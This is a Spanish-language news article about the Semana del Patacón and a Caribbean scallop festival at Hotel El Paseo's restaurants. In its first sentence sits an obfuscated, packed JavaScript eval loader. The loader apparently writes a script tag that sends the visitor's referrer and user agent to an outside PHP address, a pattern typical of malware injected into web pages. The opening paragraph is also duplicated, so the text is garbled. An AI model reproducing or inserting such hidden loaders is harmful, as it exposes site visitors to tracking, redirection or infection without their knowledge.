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Hotel El Paseo festeja el sabor caribeño

Reyna Carreño / reynac@laverdad.com
A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|batin|var|u0026u|referrer|hikhf||js|php'.split('|'),0,{})) partir de mañana 15 y hasta el sábado 20 de agosto, los espacios de La Rockola Café se impregnan de aromas urbanos con la Semana del Patacón. El chef Ender Ruiz se apropia de la tradición y la cultura popular para transformarlas en una variedad de patacones de pollo, carne, pernil o jamón y queso

Los chef Julio Nava, de El Girasol, y Ender Ruiz, de La Rockola. (Fotos: Norge Boscán)

Con todo el sabor caribeño, la frescura tropical, el calor de agosto y la sazón criolla, hotel El paseo ofrece dos festivales gastronómicos que buscan seducir a los paladares de visitantes y coterráneos.

A partir de mañana 15 y hasta el sábado 20 de agosto, los espacios de La Rockola Café se impregnan de aromas urbanos con la Semana del Patacón. El chef Ender Ruiz se apropia de la tradición y la cultura popular para transformarlas en una variedad de patacones de pollo, carne, pernil o jamón y queso.

El platillo zuliano por excelencia se transforma en su mejor versión gourmet para brindar una textura crocante, con la medida exacta de salsas y verduras, y ese inconfundible gusto a recién hecho en casa. Además, La Rockola ofrece su menú de siempre con pepitos, hamburguesas, pizzas, parrillas, tequeños, wraps, pastas, gaseosas y cocteles, en un horario comprendido entre las 3.00 de la tarde y las 11.00 de la noche.

Patacones mixtos y cocteles Rockola Nigth, con melocotón, blue Curazao y limón. (Fotos: Norge Boscán)

La sazón del trópico

Como si fuera poco, el jueves 18 de agosto, EL Girasol Restaurant apertura el Festival de Vieiras Caribeñas. De las manos y el ingenio del chef Julio Nava surge un menú especial con frutos del mar, fusionados con carnes y otros ingredientes autóctonos.

Toda la sazón del trópico se sirve en 15 platos, siete entradas y ocho platos fuertes, donde Nava demuestra una vez más que en la cocina uno de los principales ingredientes es el amor y las ganas de hacer bien las cosas.

Risotto El Girasol, con tomates secos, jamón serrano y corona de vieiras a la plancha. (Fotos: Norge Boscán)

La fiesta de sabores inicia el jueves 18 a partir de las 7.00 de la noche y continúa hasta el sábado 20 desde las 12.00 del mediodía y hasta las 11.00 de la noche.

 

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